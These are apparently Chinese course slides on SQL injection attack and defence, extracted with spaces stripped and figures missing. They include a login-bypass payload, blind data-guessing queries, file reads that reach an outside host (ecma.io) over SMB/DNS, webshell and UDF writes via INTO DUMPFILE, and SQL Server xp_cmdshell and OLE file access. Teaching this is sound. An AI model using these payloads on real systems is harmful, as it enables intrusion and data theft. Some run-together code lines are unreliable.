




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
項目五
SQL注入攻擊與防御5.1項目描述 5.2項目分析 5.3項目小結 5.4項目訓練 5.5實訓任務 5.1項目描述SVU?公司新開發了基于Web的用戶管理系統,可以通過??使用用戶?ID?進行信息查詢滲透測試工程師小?D?負責測試該項功能的安全,并提出針對性的加固方案。因此,小?D?需要了解?SQL?注入攻擊的基礎知?識。本項目的具體要求如下:(1)測試注入點類型;(2)測試?SQL?注入繞過方法;(3)測試是否可以控制服務器;(4)針對測試結果,給出加固方?案。5.2項目分析SQL
注入攻擊是攻擊者對數據庫進行攻擊的常用手段之一,也是最有效的攻擊手段之一。這是因為,通過?Web?客戶端注入的?SQL?命令與原有功能需要執行的?SQL?命令是相同的,瀏覽器與防火墻等安全設備不能阻斷?SQL?命令的執行,數據庫服務器同樣無法阻斷對注入的?SQL?命令的解析與執行。防御?SQL?注入攻擊的方法是降低數據庫連接用戶的權限,對需要執行的?SQL?命令進行嚴格的代碼審計。針對上述情況,本項目的任務布置如?下:5.2項目分析項目目標(1)了解SQL注入的基本原理。(2)掌握不同數據庫識別的方法與原理。(3)掌握不同數據庫的特點。(4)利用SQL注入完成對MySQL數據庫的滲透測試。(5)學會程序設計中防御SQL注入攻擊的基本方法。5.2項目實施流程項目任務列表(1)利用簡單的SQL注入實驗分析攻擊原理。(2)利用PHP程序搜索實現對MySQL數據庫的注入。(3)分析非文本框輸入方式的SQL注入方法。(4)分析針對返回固定錯誤信息的滲透方法。(5)利用SQL注入漏洞對文件進行讀/寫。(6)利用sqlmap完成SQL注入。(7)防范SQL注入攻擊。
5.2項目實施流程SQL注入攻擊典型流程發現注入點數據庫類型判斷表結構判斷獲取數據獲取賬號上傳Websehll提權(1)判斷?Web?系統使用的腳本語言,發現注入點,并確定是否存在?SQL?注入漏?洞。(2)判斷?Web?系統的數據庫類?型。(3)判斷數據庫中表及相應字段的結?構。(4)構造注入語句,得到表中數據內?容。(5)查找網站管理員后臺,使用得到的管理員賬號和密碼登?錄。(6)結合其他漏洞,想辦法上傳一個?Webshell。(7)進一步提權,得到服務器的系統權?限。5.2項目實施流程認識SQL注入SQL注入概念:所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。項目相關知識點5.2項目實施流程SQL注入產生的原因基本所有電子商務應用程序都使用數據庫來存儲信息。不論是產品信息,賬目信息還是其它類型的數據,數據庫都是Web應用環境中非常重要的環節。SQL命令就是前端Web和后端數據庫之間的接口,使得數據可以傳遞到Web應用程序,也可以從其中發送出來。需要對這些數據進行控制,保證用戶只能得到授權給他的信息。可是,很多Web站點都會利用用戶輸入的參數動態的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應用程序,從而可以對數據庫進行不受限的訪問。因為SQL查詢經常用來進行驗證、授權、訂購、打印清單等,所以,允許攻擊者任意提交SQL查詢請求是非常危險的。通常,攻擊者可以不經過授權,使用SQL輸入從數據庫中獲取信息。5.2項目實施流程SQL注入使用的時機當Web應用向后端的數據庫提交輸入時,就可能遭到SQL注入攻擊。可以將SQL命令人為的輸入到URL、表格域,或者其他一些動態生成的SQL查詢語句的輸入參數中,完成上述攻擊。因為大多數的Web應用程序都依賴于數據庫的海量存儲和相互間的邏輯關系(用戶權限許可,設置等),所以,每次的查詢中都會存在大量的參數。5.2項目實施流程MySQL介紹:SQL是結構化查詢語言的簡稱,它是全球通用的標準數據庫查詢語言,主要用于關系型數據的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等。常用命令如下:1)命令:select 功能:用于查詢記錄和賦值范例:selecti,j,kfromA(i,j,k是表A中僅有的列名)selecti='1'(將i賦值為字符1)Select*fromA(含義同第一個例句)2)命令:update 功能:用于修改記錄
范例:updateAseti=2wherei=1(修改A表中i=1的i值為2)5.2項目實施流程3)命令:insert 功能:用于添加記錄
范例:insertintoAvalues(1,'2',3)(向A表中插入一條記錄(i,j,k)對應為(1,'2',3))4)命令:delete 功能:用于刪除記錄
范例:deleteAwherei=2(刪除A標中i=2的所有表項)5)命令:from 功能:用于指定操作的對象名(表,視圖,數據庫等的名稱)范例:見select6)命令:where 功能:用于指定查詢條件
范例:select*fromA,BwhereA.name=B.nameandA.id=B.id7)命令:and 功能:邏輯與
范例:1=1and2<=25.2項目實施流程8)命令:or功能:邏輯或
范例:1=1or1>29)命令:not 功能:邏輯非
范例:not1>110)命令:= 功能:相等關系或賦值
范例:見and、or、not11)命令:>,>=,<,<= 功能:關系運算符
范例:與相等關系('=')的用法一致。12)命令:單引號(“'”) 功能:用于指示字符串型數據
范例:見select5.2項目實施流程13)命令:逗號
功能:分割相同的項
范例:見select14)命令:* 功能:通配符所有
范例:見select15)命令:--功能:行注釋
范例:--這里的語句將不被執行!16)命令:/**/ 功能:塊注釋
范例:/*這里的語句將不被執行!*/5.2項目實施流程MySQL是一個快速而又健壯的關系型數據庫管理系統(RDBMS)。數據庫允許使用者高效地存儲、搜索、排序和檢索數據。MySQL服務器控制用戶對數據的訪問,從而確保多用戶可以并發地使用它,同時提供快速訪問,并且確保只有通過驗證的用戶才能獲得數據訪問權限。因此,MySQL是一個多用戶、多線程的服務器。它使用了結構化查詢語言(SQL)。MySQL是世界上最受歡迎的開放源代碼數據庫之一。MySQL的主要競爭產品包括PostgreSQL、MicrosoftSQLServer和Oracle。MySQL具有許多優點,如高性能、低成本、易于配置和學習、可移植性、源代碼可供使用等。
5.2項目實施流程information_schema數據庫是MySQL自帶的數據庫,它提供了數據庫元數據的訪問方式。information_schema就像是MySQL實例的百科全書,記錄了數據庫中大部分用戶需要了解的信息,如字符集、數據庫實體對象信息、外檢約束、分區、壓縮表、表信息、索引信息、參數、優化、鎖和事務等。用戶可以通過information_schema了解MySQL實例的運行情況和基本信息。5.2項目實施流程關于字符集和排序規則相關的系統表CHARACTER_SETS:存儲數據庫相關字符集信息(memory存儲引擎)COLLATIONS:字符集對應的排序規則COLLATION_CHARACTER_SET_APPLICABILITY:就是一個字符集和連線校對的一個對應關系而已
字符集(charactersets)存儲字符串,是指人類語言中最小的表義符號。例如’A'、’B’等;
排序規則(collations)規則比較字符串,collations是指在同一字符集內字符之間的比較規則
每個字符序唯一對應一種字符集,但一個字符集可以對應多種字符序,其中有一個是默認字符序(DefaultCollation)35.2項目實施流程MySQL中的字符序名稱遵從命名慣例:以字符序對應的字符集名稱開頭;以_ci(表示大小寫不敏感)、_cs(表示大小寫敏感)或_bin(表示按編碼值比較)結尾。例如:在字符序“utf8_general_ci”下,字符“a”和“A”是等價的。看一下有關于字符集和校對相關的MySQL變量:character_set_server:默認的內部操作字符集character_set_client:客戶端來源數據使用的字符集character_set_connection:連接層字符集character_set_results:查詢結果字符集character_set_database:當前選中數據庫的默認字符集character_set_system:系統元數據(字段名等)字符集5.2項目實施流程權限相關的一些表SCHEMA_PRIVILEGES:提供數據庫的相關權限,這個表是內存表,是從mysql.db中取出來的。TABLE_PRIVILEGES:提供表權限相關信息,這些信息是從mysql.tables_priv表中加載的。COLUMN_PRIVILEGES:用戶從這個表中可以清楚地看到表授權的用戶對象,哪張表哪個庫,以及授予什么權限,如果授權的時候加上withgrantoption,用戶會看到PRIVILEGE_TYPE這個值是YES。USER_PRIVILEGES:提供表權限相關信息,這些信息是從mysql.user表中加載的。通過上面這些表可以很清晰地看到MySQL授權的層次,這在某些應用場景下還是很有用的,如審計等。5.2項目實施流程存儲數據庫系統的實體對象的一些表COLUMNS:存儲表的字段信息。INNODB_SYS_COLUMNS:存儲的是INNODB的元數據,它是依賴SYS_COLUMNS這個統計表而存在的。ENGINES:引擎類型,如是否支持分布式事務,是否支持事務的回滾點等。EVENTS:記錄MySQL中的事件,類似于定時作業。FILES:這個表是內存表,其中的數據是從InnoDBin-memory中取出來的,每次重啟要重新進行獲取。PARAMETERS:參數表,存儲一些存儲過程和方法的參數,以及存儲過程的返回值信息。5.2項目實施流程PLUGINS:存儲MySQL的插件信息。ROUTINES:記錄關于存儲過程和方法的一些信息,不包括用戶自定義的信息。SCHEMATA:這個表提供了實例下有多少個數據庫,以及數據庫默認的字符集。TRIGGERS:存儲觸發器的信息,包括系統觸發器和用戶創建的觸發器。VIEWS:存儲視圖的信息。5.2項目實施流程約束外鍵等相關的一些表:REFERENTIAL_CONSTRAINTS:提供外鍵的相關信息。TABLE_CONSTRAINTS:提供相關的約束信息。INNODB_SYS_FOREIGN_COLS:存儲INNODB關于外鍵的元數據信息,與SYS_FOREIGN_COLS存儲的信息是一致的。INNODB_SYS_FOREIGN:存儲INNODB關于外鍵的元數據信息,與SYS_FOREIGN_COLS存儲的信息是一致的。KEY_COLUMN_USAGE:存儲數據庫中所有有約束的列,也會記錄約束的名字和類別。5.2項目實施流程關于管理的表:GLOBAL_STATUS、GLOBAL_VARIABLES、SESSION_STATUS、SESSION_VARIABLES:這4個表分別記錄了系統的變量和狀態(全局和會話的信息),它們也是內存表。PARTITIONS:存儲MySQL分區表的相關信息,通過它可以查詢分區的相關信息(數據庫中已分區的表,以及分區表的分區和每個分區的數據信息)。PROCESSLIST:showprocesslist其實就是從這個表中獲取數據,這個表也是內存表,等價于在內存中進行數據處理,所以速度快。INNODB_CMP_PER_INDEX、INNODB_CMP_PER_INDEX_RESET:這兩個表中存儲的是INNODB壓縮表的相關信息,包括整個表和索引信息。INNODB壓縮表中不管是數據還是二級索引都會被壓縮,因為數據本身也可以看作一個聚集索引。5.2項目實施流程INNODB_CMPMEM、INNODB_CMPMEM_RESET:這兩個表用于存放關于MySQLINNODB的壓縮頁的bufferpool信息,這兩個表默認是關閉狀態。要打開它們,需要設置innodb_cmp_per_index_enabled參數為ON狀態。INNODB_BUFFER_POOL_STATS:該表提供有關INNODB的bufferpool相關信息,和showengineinnodbstatus提供的信息是相同的,也是showengineinnodbstatus的信息來源。INNODB_BUFFER_PAGE_LRU、INNODB_BUFFER_PAGE:維護INNODBLRULIST的相關信息。INNODB_BUFFER_PAGE:用于存儲buffer緩沖的頁數據。查詢這個表會對系統性能產生嚴重的影響。INNODB_SYS_DATAFILES:該表記錄表中文件存儲的位置和表空間的對應關系。INNODB_TEMP_TABLE_INFO:這個表中記錄所有INNODB的所有用戶用到的信息,但是只能記錄內存中的信息和沒有持久化的信息。5.2項目實施流程INNODB_METRICS:提供INNODB的各種性能指數,是對INFORMATION_SCHEMA的補充,收集的是MySQL的系統統計信息,這些統計信息都可手動打開或關閉。參數innodb_monitor_enable、innodb_monitor_disable、innodb_monitor_reset、innodb_monitor_reset_all是可以控制的。INNODB_SYS_VIRTUAL:該表存儲的是INNODB表的虛擬列的信息。在MySQL5.7中,支持兩種GeneratedColumn,即VirtualGeneratedColumn和StoredGeneratedColumn。前者只將GeneratedColumn保存在數據字典中(表的元數據),并不會將這一列數據持久化到磁盤上;后者會將GeneratedColumn持久化到磁盤上,而不是每次讀取的時候計算所得。后者存放通過已有數據計算后的數據,需要更多的磁盤空間,與實際存儲一列數據相比并沒有優勢。因此,在MySQL5.7中,如不指定GeneratedColumn的類型,則默認是VirtualGeneratedColumn。INNODB_CMP、INNODB_CMP_RESET:用于存儲壓縮INNODB信息表時的相關信息。5.2項目實施流程與信息和索引相關的?表:
TABLES,TABLESPACES,INNODB_SYS_TABLES,INNODB_SYS_TABLESPACES:TABLES:記錄數據庫中表的信息,其中包括系統數據庫和用戶創建的數據庫。showtablestatuslike'test1'\G的數據來源就是這個表。TABLESPACES:標注的活躍表空間。INNODB_SYS_TABLES:該表依賴SYS_TABLES數據字典中獲取的表,提供關于INNODB的表空間信息,和SYS_TABLESPACES中的INNODB信息是一致的。STATISTICS:提供關于表的索引信息。INNODB_SYS_INDEXES:提供INNODB表的索引信息,和SYS_INDEXES這個表中存儲的信息基本是一樣的,只不過后者提供的是所有存儲引擎的索引信息。5.2項目實施流程INNODB_SYS_TABLESTATS:此表比較重要,記錄MySQL的INNODB表信息。INNODB_SYS_FIELDS:此表用于記錄INNODB的表索引字段信息,以及字段的排名。INNODB_FT_CONFIG:此表用于存儲全文索引的信息。INNODB_FT_DEFAULT_STOPWORD:此表用于存放STOPWORD的信息,是和全文索引匹配使用的。STOPWORD是停止詞,必須在創建索引之前創建,且必須指定字段為varchar。全文檢索時,停止詞列表將會被讀取和檢索。INNODB_FT_INDEX_TABLE:此表用于存儲索引使用信息,一般情況下是空的。INNODB_FT_INDEX_CACHE:此表用于存放插入前的記錄信息。5.2項目實施流程關于MySQL優化相關的一些表OPTIMIZER_TRACE:提供優化跟蹤功能產生的信息。PROFILING:用于查看服務器執行語句的工作情況。SHOWPROFILES:顯示最近發給服務器的多條語句,條數由會話變量profiling_history_size定義,默認是15,最大值為100。設為0等價于關閉分析功能。INNODB_FT_BEING_DELETED、INNODB_FT_DELETED:INNODB_FT_BEING_DELETED是INNODB_FT_DELETED的一個快照,只在OPTIMIZETABLE過程中才會使用。5.2項目實施流程關于MySQL事物和鎖的相關的一些表INNODB_LOCKS:當前獲取的鎖,僅針對INNODB。INNODB_LOCK_WAITS:系統鎖等待的相關信息。INNODB_TRX:所有正在執行的事務的相關信息(INNODB)。5.2項目實施流程(1)方法1任何輸入,不論是Web頁面中的表格域,還是一條SQL查詢語句中API的參數,都有可能遭受SQL注入攻擊。如果沒有采取適當的防范措施,那么攻擊只有在攻擊者對數據庫的設計和查詢操作的結構了解不夠充分的情況下才有可能失敗。SQL在Web應用程序中的常見用途就是查詢產品信息。應用程序通過CGI參數建立鏈接,在隨后的查詢中被引用。例如,以下鏈接用來獲得編號為113的產品詳細信息:http://www.shopping****.com/goodslist/itemdetail.asp?id=113應用程序需要知道用戶希望得到哪種產品的信息,所以瀏覽器會發送一個標識符,通常稱為ID。隨后,應用程序動態地將其包含到SQL查詢請求中,以便于從數據庫中找到正確的行。下面的查詢語句用來從產品數據表中獲取指定ID的產品信息,包括產品名稱、產品圖片、描述和價格:SELECTname,picture,descrIPtion,priceFROMgoodsWHEREid=1135.2項目實施流程但是用戶可以在瀏覽器中輕易地修改信息。設想一下,作為某個?Web?站點的合法用戶,在登錄這個站點的時候輸入?ID?和密碼。下面的?SQL?查詢語句將返回合法用戶的賬戶金額信?息:SELECTaccountdataFROMuserinfoWHEREusername='account'ANDpassword='passwd'上面的?SQL?查詢語句中唯一受用戶控制的部分就是單引號中的字符串。這些字符串就是用戶在?Web?表格中輸入的內容。Web?應用程序自動生成了查詢語句的剩余部分。通常,其他用戶在查看此賬號信息時,需要同時知道?ID?和密碼,但通過?SQL?注入的攻擊者可以繞過全部檢?查。例如,當攻擊者知道系統中存在一個叫作?Tom?的用戶時,他會將下面的內容輸入用戶賬號的表格域:Tom'--。目的是在?SQL?請求中使用注釋符“--”,這將會動態地生成如下的?SQL?查詢語句:SELECTaccountdataFROMuserinfoWHEREusername='Tom'--'ANDpassword='passwd'5.2項目實施流程由于“--”符號表示注釋,其后的內容都被忽略,那么實際的語句如下:SELECTaccountdataFROMuserinfoWHEREusername='Tom'攻擊者沒有輸入Tom的密碼,卻從數據庫中查到了用戶Tom的全部信息。注意這里所使用的語法,作為用戶,可以在用戶名之后使用單引號。這個單引號也是SQL查詢請求的一部分,這就意味著,可以改變提交到數據庫的查詢語句結構。在上面的案例中,查詢操作本來應該在用戶名和密碼都正確的情況下才能進行,而輸入的注釋符將一個查詢條件移除了,這嚴重危及查詢操作的安全性。允許用戶通過這種方式修改Web應用中的代碼,是非常危險的。5.2項目實施流程(2)方法2一般的應用程序對數據庫進行的操作都是通過SQL語句進行的,如查詢表A中num=8的用戶的所有信息,通過下面的語句來進行:select*fromAwherenum=8對應頁面地址可能是/list.jsp?num=8。一個復合條件的查詢語句如下:select*fromAwhereid=8andname='k'對應頁面地址可能是/aaa.jsp?id=8&name=k。通常,數據庫應用程序中where子句后面的條件部分都是在程序中按需要動態創建的,如下面的方法:StringstrID=request.getParameter("id");//獲得請求參數id的字符串值StringstrName=request.getParameter("name");//獲得請求參數name的字符串值Stringstr="select*fromAwhereid="+strID+"andname=\'"+strName+"\'";//執行數據庫操作
5.2項目實施流程當strID、strName
從前臺獲得的數據中包含“'”“and1=1”“or1=1”“--”時,就會出現具有特殊意義的SQL語句。當包含“id=8--”時,上面的頁面地址變為/aaa.jsp?id=8--&&name=k。對應的語句變成
select*fromAwhereid=8--andname='k'。這里,“--”后面的條件andname='k'不會被執行,因為它被“--”注釋了。下面這個例子能夠說明SQL注入攻擊的危害性。MicrosoftSQLServer2000中的user變量,用于存儲當前登錄的用戶名,因此可以通過猜解它來獲得當前數據庫用戶名,從而確定當前數據庫的操作權限是不是最高用戶權限。攻擊者在一個可以注入的頁面請求地址后面加上下面的語句,通過修改數值范圍,截取字符的位置,并重復嘗試,就可以猜解出當前數據庫連接的用戶名:and(SubString(user,1,1)>65andSubString(user,1,1)<90)如果正常返回,則說明當前數據庫操作用戶名的前一個字符在A~Z的范圍內,逐步縮小猜解范圍,就可以確定猜解內容。SubString()是MicrosoftSQLServer2000數據庫中提供的系統函數,用于獲取字符串的子串。65和90分別是字母A和Z的ASCII碼。5.2項目實施流程在數據庫中查找用戶表(需要一定的數據庫操作權限),可以使用下面的復合語句:and(selectcount(*)fromsysobjectswherextype='u')>nn取1,2,…,通過上面的語句可以判斷數據庫中有多少個用戶表。可以通過and(substring((selecttop1namefromsysobjectswherextype='u'),1,1)=字符)的形式逐步猜解出表名。利用構建的SQL注入語句,可以查詢出數據庫中的大部分信息,只要構建的語句能夠欺騙被注入程序按注入者的意圖執行,并能夠正確分析程序返回的信息,注入者就可以控制整個系統。基于網頁地址的SQL注入只是利用了頁面地址攜帶參數這一性質,來構建特殊的SQL語句,以實現對Web應用程序的惡意操作(查詢、修改、添加等)。事實上,SQL注入不一定只針對瀏覽器地址欄中的URL。任何一個數據庫應用程序對前臺傳入數據的處理不當都會產生SQL注入漏洞,如一個網頁表單的輸入項、應用程序中文本框的輸入信息等。5.2項目實施流程SQL注入數據庫類型識別要想成功發動SQL注入攻擊,最重要的是知道應用正在使用的數據庫服務器類型,可以快速準確的針對性注入。Web應用技術將為我們提供首條線索。例如,ASP和.NET通常使用MicrosoftSQLServer作為后臺數據庫,而PHP應用則很可能使用MySQL或PostgreSQL。使用Java編寫的應用,可能使用Oracle或MySQL數據庫。底層操作系統也可以提供一些線索。安裝IIS作為信息服務器平臺標志著應用基于Windows架構,后臺數據庫可能為MicrosoftSQLServer。運行Apache和PHP的Linux服務器則很可能使用的是開源數據庫,如MySQL或PostgreSQL。在開展跟蹤工作時應不僅僅考慮這些因素,管理員要將不同技術以不平常的方式組合起來使用。5.2項目實施流程識別數據庫類型最好的方式在很大程度上取決于是否處于盲態。如果應用程序返回查詢結果和數據庫服務器錯誤消息,那么跟蹤會相當簡單,可以很容易地通過輸出結果來了解關于底層技術的信息。但如果處于盲態,無法讓應用返回數據庫服務器錯誤消息,那么就需要改變方法,嘗試注入多種已知的、只針對特定技術才能執行的查詢語句。通過判斷這些查詢語句中的哪一條被成功執行,就可獲取當前數據庫類型的準確信息。(1)非盲跟蹤多數情況下,要了解后臺數據庫服務器,只需要查看一條足夠詳細的錯誤消息即可。根據執行查詢所使用的數據庫服務器技術的不同,這條由同類型SQL錯誤產生的消息也會各不相同。例如,添加單引號將迫使數據庫服務器將單引號后面的字符看作字符串而非SQL代碼,這會產生一條語法錯誤。對與MicrosoftSQLServer來說,最終的錯誤消息如下所示:
5.2項目實施流程
很難想象事情競如此簡單,錯誤消息中明確提到了“SQLServer",還附加了一些關于出錯內容的有用細節。在后面構造正確的查詢時,這些信息會很有幫助。而MySQL5.0產生的語法錯誤則可能如下所示:這里的錯誤消息也包含了清晰的、關于數據庫服務器技術的線索。其他錯誤可能用處不大,但通常這不是問題。請注意后面這條錯誤消息開頭部分的兩個錯誤代碼。這些代碼本身就是MySQL的“簽名”。例如,當嘗試從同一MySQL上一張不存在的表中提取數據時,會收到下列錯誤:
5.2項目實施流程ERROR1146(42S02):Table’foo.bar'doesn’texist不難發現,數據庫通常事先為每條錯誤消息規劃了一個編碼,用于唯一地標識錯誤類型。再看一個例子,有可能猜出產生下列錯誤的數據庫服務器:ORA-01773:maynotspecifycolumndatatypesinthisCREATETABLE開頭的“ORA”即為提示信息:安裝的是Oracle!提供了一個完整的Oracle錯誤消息庫。然而有時,具有啟示意義的關鍵信息并非來自于數據庫服務器本身,而是來自于訪問數據庫的技術。例如,請看下面的錯誤:Pg_query():Queryfailed:ERROR:unterminatedquotedstringatornear"'"atcharacter69in/var/www/php/somepge.phponline20這里并沒有提及數據庫服務器技術,但是有一個特定數據庫產品所獨有的錯誤代碼。PHP使用pg_query函數(以及己經棄用的版本pg_exec函數)對PostgreSQL數據庫執行查詢,因此可以立即推斷出后臺運行的數據庫服務器是PostgreSQL。5.2項目實施流程獲取標志信息從錯誤消息中可以獲取相當準確的關于Web應用保存數據所使用技術的信息。但這些信息還不夠,需要獲取更多信息。例如,在前面第一個例子中,我們發現遠程數據庫為SQLServer,但該產品包含很多種版本;最通用的版本為SQLServer2005和2008但仍然有很多應用使用的是SQLServer2000。如果能夠發現更多細節信息,比如準確版本和補丁級別,那么將有助于快速了解遠程數據庫是否存在一些可利用的、眾所周知的漏洞。如果Web應用返回了所注入查詢的結果,要弄清其準確技術通常會很容易。所有主流數據庫技術都至少允許通過一條特定的查詢來返回軟件的版本信息。要做的是讓Web應用返回該查詢的結果。下表中給出了各種特定技術所對應的查詢示例,它們將返回包含準確數據庫服務器版本信息的字符串。
5.2項目實施流程數據庫服務器查詢MicrosoftSQLServerSELECT@@versionMySQLSELECTversion()SELECT@@versionOracleSELECTbannerFROMv$versionSELECTbannerFROMv$versionWHERErownum=1PostgreSQLSELECTversion()例如,對SQLServer2008RTM,執行SELECT@@version查詢時,將得到下列信息:5.2項目實施流程這里面包含了很多的信息。不僅包含了SQLServer的精確版本和補丁級別,還包含了數據庫安裝于其上的操作系統的信息。比如“NT5.2”指的是WindowsServer2003,在上面安裝了ServicePack2補丁。MicrosoftSQLServer產生的消息非常詳細,因而要想產生一條包含@@version值的消息并不難。例如,對于數字型注入,只需簡單地在應用希望得到數字值的地方注入該變量名就可以觸發一個類型轉換錯誤。參考例子URL:http://www./products.asp?id=@@version。MicrosoftSQLServer并不是唯一會返回底層操作系統和系統架構信息的數據庫,PostgreSQL數據庫也會返回大量信息。比如運行SELECTversion()查詢的返回結果:PostgreSQL9.1.1oni686-pc-linux-gnu,compiledbyi686-pc-linuxqnu-gcc(GentooHardened4.4.5p1.2,pie一0.9.5,32-bit)5.2項目實施流程從上面的信息中,可以知道PostgreSQL數據庫的版本,還知道了底層Linux操作系統的種類(HardenedGentoo)、系統架構(32位),以及用于編譯數據庫服務器自身的編譯器的版本(gcc4.4.5)。在某些情況下,所有這些信息都可能變得非常有用,比如在執行SQL注入之后,我們發現了某種內存讀取錯誤(memorycorruptionbug)漏洞,并且想利用它在操作系統層級擴展攻擊的影響。
5.2項目實施流程盲跟蹤如果應用不直接在響應中返回所需要的信息,要想了解后臺使用的技術,就需要采用一種間接方法。這種間接方法基于不同數據庫服務器所使用的SQL“方言”上的細微差異。最常用的技術是利用不同產品在連接字符串方式上的差異。以下面的簡單查詢為例:SELECT'somestring'該查詢對主流數據庫服務器都是有效的,但如果想將其中的字符串分成兩個子串,不同產品間便會出現差異。具體來講,可以利用下表列出的差異來進行推斷5.2項目實施流程因此,如果擁有個可注入的字符串參數,便可以嘗試不同的連接語法。通過判斷哪一個請求會返回與原始請求相同的結果,可以推斷出遠程數據庫的技術。
假使沒有可用的易受攻擊字符串參數,則可以使用與數字參數類似的技術。具體來講,需要一條針對特定技術的SQL語句,經過計算后它能成為一個數字。下表中的所有表達式在正確的數據庫下經過計算后都會成為整數,而在其他數據庫下將產生一個錯誤表5-3從字符串推斷數據庫服務器版本數據庫服務器查詢MicrosoftSQLServerSELECT'some'+'string'MySQLSELECT'some''string'SELECTCONCAT('some','string')OracleSELECT'some'||'string'SELECTCONCAT('some','string')PostgreSQLSELECT'some'||'string'SELECTCONCAT('some','string')5.2項目實施流程數據庫服務器查詢MicrosoftSQLServer@@pack_received@@rowcountMySQLconnection_id()last_insert_id()row_count()OracleBITAND(1,1)PostgreSQLSELECTEXTRACT(DOWFROMNOW())最后,使用一些特定的SQL結構(只適用于特定的SQL方言)也是一種有效技術,在大多數情況下均能工作良好。例如,成功地注入WAITFORDELAY也可以很清楚地從側面反映出服務器端使用的是MicrosoftSQLServer。而成功注入SELECTpg_sleep(10)則是一個明顯的信號,說明服務器端使用的是PostgreSQL(版本至少是8.2)。如果是MySQL可以使用一個有趣的技巧來確定其準確版本。對MySQL可使用三種不同方法來包含注釋:1)在行尾加一個#字符。2)在行尾加一個“--”序列(不要忘記第二個連字符后面的空格)。3)在一個“/*”序列后再跟一個“*/”序列,位于兩者之間的即為注釋。5.2項目實施流程可對第三種方法做進一步調整:如果在注釋的開頭部分添加一個感嘆號并在后面跟上數據庫版本編號,那么該注釋將被解析成代碼,只要安裝的數據庫版本高于或等于注釋中包含的版本,代碼就會被執行。看下面MySQL查詢:SELECT1/*!40119+1*/該查詢將返回下列結果:2(如果MySQL版本為4.01.19或更高版本)1(其他情況)5.2項目實施流程SQL注入可以直接使用SQL注入,也可以利用對文件讀寫時進行注入。下面介紹SQL注入中對文件讀寫的基本使用方法。(1)MySQL數據庫中對文件讀寫1)讀文件基本讀文件:selectload_file('c:/boot.ini')。用16進制代替字符串:selectload_file(0x633a2f626f6f742e696e69)。smb協議:selectload_file('//ecma.io/1.txt')。用于DNS隧道:selectload_file('\\\\ecma.io\\1.txt')。2)寫文件基本方法:select‘test’intooutfile'D:/1.txt'。基本方法:select‘test’intodumpfile'D:/1.txt'。用十六進制代替字符串:select0x313233intooutfile'D:/1.txt'。用十六進制代替字符串:select0x313233intodumpfile'D:/1.txt'。利用SQL對文件讀寫
5.2項目實施流程。3)select……intooutfile與select……intodumpfile使用區別:在導出數據庫文件方面的區別:outfile函數可以導出多行,而dumpfile只能導出一行數據。outfile函數在將數據寫到文件時會有特殊的格式轉換,將數據表中的每行數據添加自動換行,即在行末尾添加新的換行符;而dumpfile則保持原數據格式,雖然只能導出部分數據。在寫入webshell或者udf下提權的區別:outfile對導出內容中的\n、\r等特殊字符進行了轉義,并且在文件內容的末尾增加了一個新行,因此會對可執行二進制文件造成語法結構上的破壞,不能被正確執行。intodumpfile函數不對任何列或行進行終止,也不執行任何轉義處理,在無web腳本執行但是有MySQLroot執行的環境下,可以通過intodumpfile函數導入udf.dll進行提權,或者寫入木馬文件。outfile適合導出數據庫文件,dumpfile適合寫入可執行文件。5.2項目實施流程SQLServer數據庫對文件讀寫1)讀文件BULKINSERT1:createtableresult(resvarchar(8000));2:bulkinsertresultfrom'd:/1.txt';CLR集成1://開啟CLR集成2:execsp_configure'showadvancedoptions',1;3:reconfigure;4:execsp_configure'clrenabled',15:reconfigureoutfile函數后面不能接0x開頭或char轉換后的路徑,只能是單引號路徑。這個問題在PHP注入中是非常麻煩的,因為會自動將單引號轉義成“\'”,基本就失去作用了。load_file后面的路徑中可以包含單引號、0x、char轉換的字符,但是路徑中的斜杠是“/”而不是“\”。5.2項目實施流程語句createassemblysqbfrom'd:\1.exe'withpermission_set=unsafe可以利用createassembly函數從遠程服務器加載任何.NET二進制文件到數據庫中,但它會驗證是否為合法的NET程序,從而導致失敗。語句selectmaster.dbo.fn_varbintohexstr(cast(contentasvarbinary))fromsys.assembly_files
是讀取方式。繞過驗證,首先要加載一個有效的.NET二進制文件,然后追加文件即可,下面是繞過方法:createassemblysqbfrom'd:\net.exe';alterassemblysqbaddfilefrom'd:\1.txt'alterassemblysqbaddfilefrom'd:\notnet.exe'
5.2項目實施流程通過OLEAutomation讀取文件,Script.FileSystemObject
方法示例如下:#開啟OleAutomationProceduressp_configure'showadvancedoptions',1;RECONFIGURE;sp_configure'OleAutomationProcedures',1;RECONFIGURE;declare@oint,@fint,@tint,@retintdeclare@linevarchar(8000)execsp_oacreate'scripting.filesystemobject',@ooutexecsp_oamethod@o,'opentextfile',@fout,'d:\1.txt',1exec@ret=sp_onmethod@f,'readline',@lineoutwhile(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,'readline',@lineoutend5.2項目實施流程2)寫文件Script.FileSystemObject方法,案例如下:1:declare@oint,@fint,@tint,@retint2:declare@linevarchar(8000)3:execsp_oacreate'scripting.filesystemobject',@oout4:execsp_oamethod@o,'createtextfile',@fout,'e:\1.txt',15:exec@ret=sp_oamethod@f,'writeline',NULL,'Thisistheteststring’BCP復制文件,示例如下:c:\windows>system32>bcp"selectnamefromsysobjects"querytestout.txt-c-s-Usa-p"sa"xp_cmdshellexecxp_cmdshell'echotest>d:\1.txt'5.2項目實施流程Sqlmap注入軟件簡介Sqlmap是一款開源的、用于SQL注入漏洞檢測及利用的工具,它會檢測動態頁面中get/post參數、cookie、http頭,進行數據榨取、文件系統訪問和操作系統命令執行,另外還可以進行Xss漏洞檢測。它由python語言開發而成,因此運行需要安裝python環境。具體參數注釋與使用方法,可以參考下面兩個網址內容:1)Sqlmap用戶手冊:/hongfei/p/3872156.html2)Sqlmap參數學習筆記:/ski_12/article/details/58188331
